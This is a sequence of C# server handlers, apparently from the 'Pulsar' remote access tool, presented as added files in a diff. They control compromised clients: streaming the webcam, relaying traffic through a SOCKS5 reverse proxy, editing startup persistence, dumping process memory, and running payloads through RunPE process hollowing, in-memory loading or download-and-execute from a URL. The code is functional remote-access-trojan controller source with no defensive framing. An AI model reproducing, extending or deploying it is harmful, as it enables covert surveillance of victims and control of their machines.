/// This property is thread-safe.
/// </remarks>
public Size LocalResolution
{
get
{
lock (_sizeLock)
{
return _localResolution;
}
}
set
{
lock (_sizeLock)
{
_localResolution = value;
}
}
}
/// <summary>
/// Represents the method that will handle display changes.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="value">All currently available displays.</param>
public delegate void DisplaysChangedEventHandler(object sender, string[] value);
/// <summary>
/// Raised when a display changed.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event DisplaysChangedEventHandler DisplaysChanged;
/// <summary>
/// Reports changed displays.
/// </summary>
/// <param name="value">All currently available displays.</param>
private void OnDisplaysChanged(string[] value)
{
SynchronizationContext.Post(val =>
{
var handler = DisplaysChanged;
handler?.Invoke(this, (string[])val);
}, value);
}
/// <summary>
/// The client which is associated with this remote webcam handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// The video stream codec used to decode received frames.
/// </summary>
private UnsafeStreamCodec _codec;
// buffer parameters
private readonly int _initialFramesRequested = 5; // request 5 frames initially
private readonly int _defaultFrameRequestBatch = 3; // request 3 frames at a time now on
private int _pendingFrames = 0;
private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch(); private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames
private readonly Stopwatch _performanceMonitor = new Stopwatch();
private int _framesReceived = 0;
private double _estimatedFps = 0;
private long _accumulatedFrameBytes = 0;
private int _frameBytesSamples = 0;
private long _lastFrameBytes = 0;
public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);
public double AverageFrameSizeBytes
{
get
{
long total = Interlocked.Read(ref _accumulatedFrameBytes);
int count = Volatile.Read(ref _frameBytesSamples);
return count > 0 ? (double)total / count : 0.0;
}
}
/// <summary>
/// Stores the last FPS reported by the client.
/// </summary>
private float _lastReportedFps = -1f;
/// <summary>
/// Shows the last FPS reported by the client, or estimated FPS if not available.
/// </summary>
public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;
/// <summary>
/// Initializes a new instance of the <see cref="RemoteWebcamHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public RemoteWebcamHandler(Client client) : base(true)
{
_client = client;
_performanceMonitor.Start();
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetWebcamResponse || message is GetAvailableWebcamsResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetWebcamResponse frame:
Execute(sender, frame);
break;
case GetAvailableWebcamsResponse m:
Execute(sender, m);
break;
}
}
private void ClearTimeStamps()
{
while (_frameTimestamps.TryDequeue(out _)) { }
}
/// <summary>
/// Begins receiving frames from the client using the specified quality and display.
/// </summary>
/// <param name="quality">The quality of the remote webcam frames.</param>
/// <param name="display">The display to receive frames from.</param>
public void BeginReceiveFrames(int quality, int display)
{
lock (_syncLock)
{
IsStarted = true;
_codec?.Dispose();
_codec = null;
// Reset buffering counters
_pendingFrames = _initialFramesRequested;
ClearTimeStamps();
_framesReceived = 0;
_frameReceiptStopwatch.Restart();
// Start in buffered mode
_client.Send(new GetWebcam
{
CreateNew = true,
Quality = quality,
DisplayIndex = display,
Status = RemoteWebcamStatus.Start,
IsBufferedMode = IsBufferedMode,
FramesRequested = _initialFramesRequested
});
}
}
/// <summary>
/// Ends receiving frames from the client.
/// </summary>
public void EndReceiveFrames()
{
lock (_syncLock)
{
IsStarted = false;
}
Debug.WriteLine("Remote webcam session stopped");
_client.Send(new GetWebcam { Status = RemoteWebcamStatus.Stop });
}
/// <summary>
/// Refreshes the available displays of the client.
/// </summary>
public void RefreshDisplays()
{
Debug.WriteLine("Refreshing displays");
_client.Send(new GetAvailableWebcams());
} private async void Execute(ISender client, GetWebcamResponse message)
{
_framesReceived++;
// Capture client-reported FPS if available
if (message.FrameRate > 0)
{
_lastReportedFps = message.FrameRate;
}
if (_performanceMonitor.ElapsedMilliseconds >= 1000)
{
_estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
Debug.WriteLine($"Client FPS: {_lastReportedFps:F1}, Estimated FPS: {_estimatedFps:F1}, Frames received: {_framesReceived}");
_framesReceived = 0;
_performanceMonitor.Restart();
}
lock (_syncLock)
{
if (!IsStarted)
return;
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
{
_codec?.Dispose();
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
}
if (message.Image != null)
{
long size = message.Image.LongLength;
Interlocked.Exchange(ref _lastFrameBytes, size);
Interlocked.Add(ref _accumulatedFrameBytes, size);
Interlocked.Increment(ref _frameBytesSamples);
}
using (var ms = new MemoryStream(message.Image))
{
try
{
var decoded = _codec.DecodeData(ms);
if (decoded != null)
{
EnsureLocalResolutionInitialized(decoded.Size);
// PASS THE DECODED FRAME DIRECTLY TO UI
OnReport(decoded); // do not clone or dispose decoded
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error decoding frame: {ex.Message}");
}
}
message.Image = null;
long timestamp = message.Timestamp;
_frameTimestamps.Enqueue(timestamp);
while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }
Interlocked.Decrement(ref _pendingFrames);
}
if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 1))
{
await RequestMoreFramesAsync();
}
}
private void EnsureLocalResolutionInitialized(Size fallbackSize)
{
if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
{
return;
}
var current = LocalResolution;
if (current.Width <= 0 || current.Height <= 0)
{
LocalResolution = fallbackSize;
}
}
private async Task RequestMoreFramesAsync()
{
if (!await _frameRequestSemaphore.WaitAsync(0))
return;
try
{
int batchSize = _defaultFrameRequestBatch;
if (_estimatedFps > 25)
batchSize = 5;
else if (_estimatedFps < 10)
batchSize = 2;
Debug.WriteLine($"Requesting {batchSize} more frames");
Interlocked.Add(ref _pendingFrames, batchSize);
_client.Send(new GetWebcam
{
CreateNew = false,
Quality = _codec?.ImageQuality ?? 75,
DisplayIndex = _codec?.Monitor ?? 0,
Status = RemoteWebcamStatus.Continue,
IsBufferedMode = true,
FramesRequested = batchSize
});
}
finally
{
_frameRequestSemaphore.Release();
}
}
private void Execute(ISender client, GetAvailableWebcamsResponse message)
{
OnDisplaysChanged(message.Webcams);
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_syncLock)
{
_codec?.Dispose();
_frameRequestSemaphore?.Dispose();
IsStarted = false;
}
}
}
}
}
@@ -0,0 +1,128 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.ReverseProxy;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using Pulsar.Server.ReverseProxy;
using System;
using System.Linq;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote reverse proxy.
/// </summary>
public class ReverseProxyHandler : MessageProcessorBase<ReverseProxyClient[]>
{
/// <summary>
/// The clients which is associated with this reverse proxy handler.
/// </summary>
private readonly Client[] _clients;
/// <summary>
/// The reverse proxy server to accept & serve SOCKS5 connections.
/// </summary>
private readonly ReverseProxyServer _socksServer;
/// <summary>
/// Initializes a new instance of the <see cref="ReverseProxyHandler"/> class using the given clients.
/// </summary>
/// <param name="clients">The associated clients.</param>
public ReverseProxyHandler(Client[] clients) : base(true)
{
_socksServer = new ReverseProxyServer();
_clients = clients;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is ReverseProxyConnectResponse ||
message is ReverseProxyData ||
message is ReverseProxyDisconnect;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender));
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case ReverseProxyConnectResponse con:
Execute(sender, con);
break;
case ReverseProxyData data:
Execute(sender, data);
break;
case ReverseProxyDisconnect disc:
Execute(sender, disc);
break;
}
}
/// <summary>
/// Starts the reverse proxy server using the given port.
/// </summary>
/// <param name="port">The port to listen on.</param>
public void StartReverseProxyServer(ushort port)
{
_socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
_socksServer.OnUpdateConnection += socksServer_onUpdateConnection;
_socksServer.StartServer(_clients, "0.0.0.0", port);
}
/// <summary>
/// Stops the reverse proxy server.
/// </summary>
public void StopReverseProxyServer()
{
_socksServer.Stop();
_socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished;
_socksServer.OnUpdateConnection -= socksServer_onUpdateConnection;
}
private void Execute(ISender client, ReverseProxyConnectResponse message)
{
ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId);
socksClient?.HandleCommandResponse(message);
}
private void Execute(ISender client, ReverseProxyData message)
{
ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId);
socksClient?.SendToClient(message.Data);
}
private void Execute(ISender client, ReverseProxyDisconnect message)
{
ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId);
socksClient?.Disconnect();
}
void socksServer_onUpdateConnection(ReverseProxyClient proxyClient)
{
OnReport(_socksServer.OpenConnections);
}
void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient)
{
OnReport(_socksServer.OpenConnections);
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
StopReverseProxyServer();
}
}
}
}
@@ -0,0 +1,78 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.StartupManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using System.Collections.Generic;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with remote startup tasks.
/// </summary>
public class StartupManagerHandler : MessageProcessorBase<List<StartupItem>>
{
/// <summary>
/// The client which is associated with this startup manager handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Initializes a new instance of the <see cref="StartupManagerHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public StartupManagerHandler(Client client) : base(true)
{
_client = client;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetStartupItemsResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetStartupItemsResponse items:
Execute(sender, items);
break;
}
}
/// <summary>
/// Refreshes the current startup items.
/// </summary>
public void RefreshStartupItems()
{
_client.Send(new GetStartupItems());
}
/// <summary>
/// Removes an item from startup.
/// </summary>
/// <param name="item">Startup item to remove.</param>
public void RemoveStartupItem(StartupItem item)
{
_client.Send(new DoStartupItemRemove {StartupItem = item});
}
/// <summary>
/// Adds an item to startup.
/// </summary>
/// <param name="item">Startup item to add.</param>
public void AddStartupItem(StartupItem item)
{
_client.Send(new DoStartupItemAdd {StartupItem = item});
}
private void Execute(ISender client, GetStartupItemsResponse message)
{
OnReport(message.StartupItems);
}
}
}
@@ -0,0 +1,75 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.SystemInfo;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote system information.
/// </summary>
public class SystemInformationHandler : MessageProcessorBase<List<Tuple<string, string>>>
{
/// <summary>
/// The client which is associated with this system information handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Initializes a new instance of the <see cref="SystemInformationHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public SystemInformationHandler(Client client) : base(true)
{
_client = client;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetSystemInfoResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender client) => _client.Equals(client);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetSystemInfoResponse info:
Execute(sender, info);
break;
}
}
/// <summary>
/// Refreshes the system information of the client.
/// </summary>
public void RefreshSystemInformation()
{
_client.Send(new GetSystemInfo());
}
private void Execute(ISender client, GetSystemInfoResponse message)
{
OnReport(message.SystemInfos);
// TODO: Refactor tooltip
//if (Settings.ShowToolTip)
//{
// var builder = new StringBuilder();
// for (int i = 0; i < packet.SystemInfos.Length; i += 2)
// {
// if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null)
// {
// builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]);
// }
// }
// FrmMain.Instance.SetToolTipText(client, builder.ToString());
//}
}
}
}
@@ -0,0 +1,172 @@
using System;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for interacting with remote tasks.
/// </summary>
public class TaskManagerHandler : MessageProcessorBase<Process[]>, IDisposable
{
public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result);
public event ProcessActionPerformedEventHandler ProcessActionPerformed;
public delegate void OnResponseReceivedEventHandler(object sender, DoProcessDumpResponse response);
public event OnResponseReceivedEventHandler OnResponseReceived;
private readonly Client _client;
public GetProcessesResponse LastProcessesResponse { get; private set; }
public TaskManagerHandler(Client client) : base(true)
{
_client = client ?? throw new ArgumentNullException(nameof(client));
}
public override bool CanExecute(IMessage message) => message is DoProcessResponse
|| message is GetProcessesResponse
|| message is DoProcessDumpResponse;
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoProcessResponse resp: Execute(sender, resp); break;
case GetProcessesResponse resp: Execute(sender, resp); break;
case DoProcessDumpResponse resp: Execute(sender, resp); break;
}
}
private void Execute(ISender client, DoProcessResponse message)
{
SynchronizationContext.Post(_ => ProcessActionPerformed?.Invoke(this, message.Action, message.Result), null);
}
private void Execute(ISender client, GetProcessesResponse message)
{
LastProcessesResponse = message;
OnReport(message.Processes);
}
private void Execute(ISender client, DoProcessDumpResponse message)
{
OnResponseReceived?.Invoke(this, message);
}
#region Remote Process Operations
public void StartProcess(string remotePath, bool isUpdate = false, bool executeInMemory = false, bool useRunPE = false, string runPETarget = "a", string runPECustomPath = null)
{
if (!File.Exists(remotePath))
{
MessageBox.Show($"File not found: {remotePath}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
byte[] fileBytes = File.ReadAllBytes(remotePath);
string ext = Path.GetExtension(remotePath);
if ((executeInMemory || useRunPE) && !string.Equals(ext, ".exe", StringComparison.OrdinalIgnoreCase))
{
MessageBox.Show("Only .exe files are allowed for RunPE or reflection execution.", "Invalid File Type",
MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
_client.Send(new DoProcessStart
{
FileBytes = fileBytes,
IsUpdate = isUpdate,
ExecuteInMemoryDotNet = executeInMemory,
UseRunPE = useRunPE,
RunPETarget = runPETarget,
RunPECustomPath = runPECustomPath,
FileExtension = ext
});
}
public void StartProcessFromWeb(string url, bool isUpdate = false, bool executeInMemory = false, bool _useRunPE = false)
{
if (string.IsNullOrWhiteSpace(url))
{
MessageBox.Show("URL cannot be empty.", "Invalid URL", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
_client.Send(new DoProcessStart
{
DownloadUrl = url,
IsUpdate = isUpdate,
ExecuteInMemoryDotNet = false,
UseRunPE = false
});
}
public void SetTopMost(int pid, bool enable = true)
{
_client.Send(new DoSetTopMost { Pid = pid, Enable = enable });
}
public void SetWindowState(int pid, bool minimize)
{
_client.Send(new DoSetWindowState
{
Pid = pid,
Minimize = minimize
});
}
public void RefreshProcesses()
{
_client.Send(new GetProcesses());
}
public void EndProcess(int pid)
{
_client.Send(new DoProcessEnd { Pid = pid });
}
public void DumpProcess(int pid)
{
_client.Send(new DoProcessDump { Pid = pid });
}
public void SuspendProcess(int pid, bool suspend)
{
var message = new DoSuspendProcess { Pid = pid, Suspend = suspend };
_client.Send(message);
}
#endregion
#region IDisposable
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!disposing) return;
ProcessActionPerformed = null;
OnResponseReceived = null;
LastProcessesResponse = null;
}
#endregion
}
}
@@ -0,0 +1,78 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TCPConnections;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with remote TCP connections.
/// </summary>
public class TcpConnectionsHandler : MessageProcessorBase<TcpConnection[]>
{
/// <summary>
/// The client which is associated with this tcp connections handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Initializes a new instance of the <see cref="TcpConnectionsHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public TcpConnectionsHandler(Client client) : base(true)
{
_client = client;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetConnectionsResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetConnectionsResponse con:
Execute(sender, con);
break;
}
}
/// <summary>
/// Refreshes the current TCP connections.
/// </summary>
public void RefreshTcpConnections()
{
_client.Send(new GetConnections());
}
/// <summary>
/// Closes a TCP connection of the client.
/// </summary>
/// <param name="localAddress">Local address.</param>
/// <param name="localPort">Local port.</param>
/// <param name="remoteAddress">Remote address.</param>
/// <param name="remotePort">Remote port.</param>
public void CloseTcpConnection(string localAddress, ushort localPort, string remoteAddress, ushort remotePort)
{
// a unique tcp connection is determined by local address + port and remote address + port
_client.Send(new DoCloseConnection
{
LocalAddress = localAddress,
LocalPort = localPort,
RemoteAddress = remoteAddress,
RemotePort = remotePort
});
}
private void Execute(ISender client, GetConnectionsResponse message)
{
OnReport(message.Connections);
}
}
}
@@ -0,0 +1,113 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Text;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
namespace Pulsar.Server.Messages
{
public sealed class UniversalPluginResponseHandler : IMessageProcessor
{
private static readonly ConcurrentDictionary<string, Action<PluginResponse>> _callbacks = new ConcurrentDictionary<string, Action<PluginResponse>>();
private static readonly ConcurrentDictionary<string, List<Action<PluginResponse>>> _typeHandlers = new ConcurrentDictionary<string, List<Action<PluginResponse>>>();
public static event Action<PluginResponse> ResponseReceived;
public bool CanExecute(IMessage message) => message is DoUniversalPluginResponse;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (!(message is DoUniversalPluginResponse response) || !(sender is Client client)) return;
var result = new PluginResponse
{
Client = client,
PluginId = response.PluginId,
Command = response.Command,
Success = response.Success,
Message = response.Message,
Data = response.Data,
ShouldUnload = response.ShouldUnload,
NextCommand = response.NextCommand
};
ResponseReceived?.Invoke(result);
if (_callbacks.TryRemove(response.PluginId, out var callback))
{
try { callback(result); } catch { }
}
var pluginType = GetPluginType(response.PluginId);
if (!string.IsNullOrEmpty(pluginType) && _typeHandlers.TryGetValue(pluginType, out var handlers))
{
foreach (var handler in handlers)
{
try { handler(result); } catch { }
}
}
}
private string GetPluginType(string pluginId)
{
if (string.IsNullOrEmpty(pluginId)) return null;
var idx = pluginId.IndexOf('_');
return idx > 0 ? pluginId.Substring(0, idx) : null;
}
public static void Register(string pluginId, Action<PluginResponse> callback)
{
if (string.IsNullOrEmpty(pluginId) || callback == null) return;
_callbacks[pluginId] = callback;
}
public static void RegisterType(string pluginType, Action<PluginResponse> callback)
{
if (string.IsNullOrEmpty(pluginType) || callback == null) return;
_typeHandlers.AddOrUpdate(pluginType,
new List<Action<PluginResponse>> { callback },
(k, v) => { v.Add(callback); return v; });
}
public static void Unregister(string pluginId)
{
_callbacks.TryRemove(pluginId, out _);
}
public static void UnregisterType(string pluginType, Action<PluginResponse> callback)
{
if (_typeHandlers.TryGetValue(pluginType, out var handlers))
{
handlers.Remove(callback);
if (handlers.Count == 0) _typeHandlers.TryRemove(pluginType, out _);
}
}
public static void Clear()
{
_callbacks.Clear();
_typeHandlers.Clear();
}
}
public class PluginResponse
{
public Client Client { get; set; }
public string PluginId { get; set; }
public string Command { get; set; }
public bool Success { get; set; }
public string Message { get; set; }
public byte[] Data { get; set; }
public bool ShouldUnload { get; set; }
public string NextCommand { get; set; }
public string GetText()
{
return Data != null ? Encoding.UTF8.GetString(Data) : string.Empty;
}
}
}